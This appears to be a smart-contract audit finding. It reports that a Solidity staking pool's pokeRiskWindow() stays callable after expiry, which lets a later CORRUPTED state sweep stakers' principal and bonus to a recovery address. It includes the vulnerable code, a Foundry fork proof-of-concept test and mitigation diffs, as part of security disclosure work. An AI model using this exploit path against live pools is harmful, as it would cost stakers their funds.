FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: low

Post-expiry `pokeRiskWindow()` Can Turn an Expired Pool Into a Later Bad-faith CORRUPTED Sweep

Author Revealed upon completion

Description

  • Normal behavior: when a pool reaches expiry while the registry is still non-terminal or active-risk, the stakers have survived the underwritten term. claimExpired() is intended to resolve EXPIRED and return principal, with bonus handled through the EXPIRED accounting path.

  • Specific issue: pokeRiskWindow() remains callable after expiry and can persist riskWindowStart == expiry when active-risk starts only after the pool term. Because the pool stays unresolved, a later post-term CORRUPTED state satisfies claimExpired()'s riskWindowStart != 0 auto-CORRUPTED gate, so the pool finalizes as bad-faith CORRUPTED and sweeps staker principal plus bonus to recoveryAddress.

function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
// @> Missing expiry guard or EXPIRED resolution: post-expiry active-risk can still be observed.
_observePoolState();
if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
if (riskWindowStart == 0 && _isActiveRiskState(state)) {
// @> Opens the risk latch even when the active-risk state first appears after expiry.
_markRiskWindowStart();
}
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
// @> Stores a nonzero riskWindowStart capped to expiry instead of rejecting post-term risk.
riskWindowStart = uint32(t);
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
}
function claimExpired() external nonReentrant {
if (block.timestamp < expiry) revert PoolNotExpired();
if (outcome == PoolStates.Outcome.UNRESOLVED) {
IAttackRegistry.ContractState state = _observePoolState();
// @> The post-expiry risk marker is enough to convert a later CORRUPTED registry state
// @> into bad-faith CORRUPTED, despite the pool term already having ended.
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
return;
}
if (state == IAttackRegistry.ContractState.PRODUCTION) {
outcome = PoolStates.Outcome.SURVIVED;
} else {
outcome = PoolStates.Outcome.EXPIRED;
outcomeFlaggedAt = expiry;
}
}
}

Risk

Likelihood:

  • Low. This occurs when the pool remains unresolved after expiry, the registry enters an active-risk state only after the pool term, a caller uses pokeRiskWindow() instead of resolving EXPIRED, the registry later becomes CORRUPTED, and the moderator does not resolve before the backstop.

  • Any external account can execute the triggering calls. The path does not require pool ownership, moderator permissions, factory ownership, or stake-token privileges.

Impact:

  • Stakers that already survived the underwritten term lose principal that the EXPIRED path would return. In the PoC, Alice's 100e18 stake is unrecoverable and the full 150e18 pool balance is swept to recoveryAddress.

  • The outcome changes from EXPIRED to bad-faith CORRUPTED, locking out later EXPIRED claims and routing both stake and bonus through the recovery sweep.

Proof of Concept

Fork command:

forge test --match-path test/fork/ConfidencePoolPostExpiryRiskWindow.fork.t.sol --rpc-url https://testnet.battlechain.com -vvv

Fork result:

Ran 3 tests for test/fork/ConfidencePoolPostExpiryRiskWindow.fork.t.sol:ConfidencePoolPostExpiryRiskWindowForkPoCTest
[PASS] testForkPoC_CONTROL_claimAtExpiryPreventsLaterPostTermRiskFromChangingOutcome()
[PASS] testForkPoC_CONTROL_withoutPostExpiryPokeSameLaterCorruptionExpires()
[PASS] testForkPoC_postExpiryPokeEnablesCorruptedSweepForExpiredPool()
Suite result: ok. 3 passed; 0 failed; 0 skipped
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
contract ConfidencePoolPostExpiryRiskWindowForkPoCTest is Test {
address internal constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;
address internal constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address internal constant DEMO_AGREEMENT = 0xE550894617Ac4C1bbc019C2AA5D47495a0F07716;
address internal constant DEMO_AGREEMENT_OWNER = 0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d;
address internal constant DEMO_AGREEMENT_IN_SCOPE = 0xeEFCFBeFCE9a8fbB20694483DA9E6fBbcD5084A7;
uint256 internal constant PIN_BLOCK = 16000;
uint256 internal constant ONE = 1e18;
ConfidencePoolFactory internal factory;
ConfidencePool internal pool;
MockERC20 internal stakeToken;
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal alice = makeAddr("alice");
address internal carol = makeAddr("carol");
address internal dave = makeAddr("dave");
function setUp() public {
try vm.envString("BATTLECHAIN_TESTNET_RPC") returns (string memory rpcUrl) {
rpcUrl;
vm.createSelectFork("battlechain_testnet", PIN_BLOCK);
} catch {
vm.createSelectFork("https://testnet.battlechain.com", PIN_BLOCK);
}
ConfidencePool poolImpl = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(poolImpl), moderator))
);
factory = ConfidencePoolFactory(address(proxy));
stakeToken = new MockERC20();
factory.setStakeTokenAllowed(address(stakeToken), true);
_mockAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
address[] memory accounts = new address[](1);
accounts[0] = DEMO_AGREEMENT_IN_SCOPE;
vm.prank(DEMO_AGREEMENT_OWNER);
pool = ConfidencePool(
factory.createPool(DEMO_AGREEMENT, address(stakeToken), block.timestamp + 31 days, ONE, recovery, accounts)
);
}
function testForkPoC_postExpiryPokeEnablesCorruptedSweepForExpiredPool() external {
uint256 stakeAmount = 100 * ONE;
uint256 bonusAmount = 50 * ONE;
_stake(alice, stakeAmount);
_contributeBonus(carol, bonusAmount);
vm.warp(uint256(pool.expiry()) + 1);
_mockAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.prank(dave);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), pool.expiry(), "post-expiry risk marker is capped to expiry");
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.UNRESOLVED), "poke does not resolve expired pool");
_mockAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.warp(uint256(pool.expiry()) + pool.MODERATOR_CORRUPTED_GRACE());
vm.prank(dave);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "expired pool auto-corrupted");
assertTrue(pool.claimsStarted(), "mechanical corruption is final");
assertEq(pool.corruptedReserve(), stakeAmount + bonusAmount, "full expired pool marked for recovery");
vm.prank(alice);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.claimExpired();
uint256 recoveryBefore = stakeToken.balanceOf(recovery);
pool.claimCorrupted();
assertEq(stakeToken.balanceOf(recovery) - recoveryBefore, stakeAmount + bonusAmount, "full pool swept");
assertEq(stakeToken.balanceOf(alice), 0, "staker loses principal after post-term risk");
assertEq(stakeToken.balanceOf(address(pool)), 0, "pool drained");
}
function testForkPoC_CONTROL_withoutPostExpiryPokeSameLaterCorruptionExpires() external {
uint256 stakeAmount = 100 * ONE;
uint256 bonusAmount = 50 * ONE;
_stake(alice, stakeAmount);
_contributeBonus(carol, bonusAmount);
vm.warp(uint256(pool.expiry()) + 1);
_mockAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
_mockAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.warp(uint256(pool.expiry()) + pool.MODERATOR_CORRUPTED_GRACE());
uint256 aliceBefore = stakeToken.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "no observed risk resolves expired");
assertEq(pool.riskWindowStart(), 0, "no post-expiry active-risk marker");
assertEq(stakeToken.balanceOf(alice) - aliceBefore, stakeAmount, "staker recovers principal");
assertEq(stakeToken.balanceOf(address(pool)), bonusAmount, "bonus remains sweepable");
}
function testForkPoC_CONTROL_claimAtExpiryPreventsLaterPostTermRiskFromChangingOutcome() external {
uint256 stakeAmount = 100 * ONE;
uint256 bonusAmount = 50 * ONE;
_stake(alice, stakeAmount);
_contributeBonus(carol, bonusAmount);
vm.warp(uint256(pool.expiry()) + 1);
vm.prank(dave);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "pool resolved at term end");
assertTrue(pool.claimsStarted(), "mechanical expiry is final");
_mockAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
_mockAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.warp(uint256(pool.expiry()) + pool.MODERATOR_CORRUPTED_GRACE());
uint256 aliceBefore = stakeToken.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "later post-term risk ignored");
assertEq(pool.riskWindowStart(), 0, "post-resolution poke is a no-op");
assertEq(stakeToken.balanceOf(alice) - aliceBefore, stakeAmount, "staker recovers principal");
assertEq(stakeToken.balanceOf(address(pool)), bonusAmount, "bonus remains sweepable");
}
function _stake(address user, uint256 amount) internal {
stakeToken.mint(user, amount);
vm.startPrank(user);
stakeToken.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(address user, uint256 amount) internal {
stakeToken.mint(user, amount);
vm.startPrank(user);
stakeToken.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
function _mockAgreementState(IAttackRegistry.ContractState state) internal {
vm.clearMockedCalls();
vm.mockCall(
ATTACK_REGISTRY,
abi.encodeCall(IAttackRegistry.getAgreementState, (DEMO_AGREEMENT)),
abi.encode(state)
);
}
}

Recommended Mitigation

Do not allow post-expiry active-risk observations to satisfy the principal-loss auto-CORRUPTED gate. One conservative fix is to make pokeRiskWindow() reject after expiry so callers must resolve the pool instead of only setting the latch:

function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
+ if (block.timestamp >= expiry) revert PoolNotExpiredOrResolveFirst();
_observePoolState();
if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}

Alternatively, track whether the risk window was first observed before expiry, and require that stricter marker for bad-faith auto-CORRUPTED principal loss:

- if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
+ if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStartedBeforeExpiry) {

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!